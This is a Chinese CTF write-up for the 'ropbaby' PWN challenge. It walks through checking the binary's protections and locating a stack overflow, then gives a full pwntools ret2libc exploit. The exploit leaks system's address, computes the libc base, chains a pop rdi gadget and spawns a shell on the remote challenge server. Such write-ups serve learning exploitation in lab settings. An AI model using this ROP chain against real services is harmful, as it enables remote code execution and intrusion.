实验吧 PWN ropbaby

  • 首先查看程序的保护方式
    实验吧 PWN ropbaby_第1张图片
    可以看出是64位程序,开启了栈不可执行保护、PIE(程序每次运行时虚拟地址都会发生变化)以及FORTIFY(对格式化字符串做出限制)。
  • 使用IDA查看源码,找到了溢出点
    实验吧 PWN ropbaby_第2张图片
  • 思路:
    题目给出了libc文件,可以得到system函数的偏移地址及"/bin/sh"的偏移地址。因此构造payload,执行system("/bin/sh")
  • 寻找控制 rdi 的 gadgets
    这里之所以选择在libc文件中寻找控制rdi的gadgets而不是在ropbaby中寻找,是因为开启了PIE,每次只能得到libc的基址。
    在这里插入图片描述
#!/usr/bin/python2

from pwn import *

sh = remote('106.2.25.7', 8004)
lib_file_path = './libc-2.23.so'
#直接用ROPgadget获得
pop_rdi_ret_offset = 0x21102

lib = ELF(lib_file_path)

# 在库文件中寻找 字符 /bin/sh 
buf = open(lib_file_path, 'rb').read()
str_bin_sh_offset = buf.find(b'/bin/sh')

sh.recvuntil(': ')
sh.sendline('2')
sh.recvuntil('Enter symbol: ')
sh.sendline('system')
sh.recvuntil('Symbol system: ')
system_addr = int(sh.recvline(), 16)
print("[+]system_addr: "+hex(system_addr))

# 基地址
base_addr = system_addr - lib.symbols['system']

str_bin_sh_addr = base_addr + str_bin_sh_offset
print("[+]binsh: "+hex(str_bin_sh_addr))
rdi_ret = base_addr + pop_rdi_ret_offset
sh.recvuntil(': ')
sh.sendline('3')
sh.recvuntil('Enter bytes to send (max 1024): ')

shellcode = b'a'*8+p64(rdi_ret)+p64(str_bin_sh_addr)+p64(system_addr)

sh.sendline(str(len(shellcode)))
sh.sendline(shellcode)

sh.interactive()

参考

实验吧 ropbaby

PS

如果是小白,建议从CTF wiki开始学习栈溢出和ROP。
栈介绍 - CTFwiki

疑问

为什么用system_addr计算得到的base_addr和程序输入1时输出的libc基址不一样?

你可能感兴趣的:(CTF)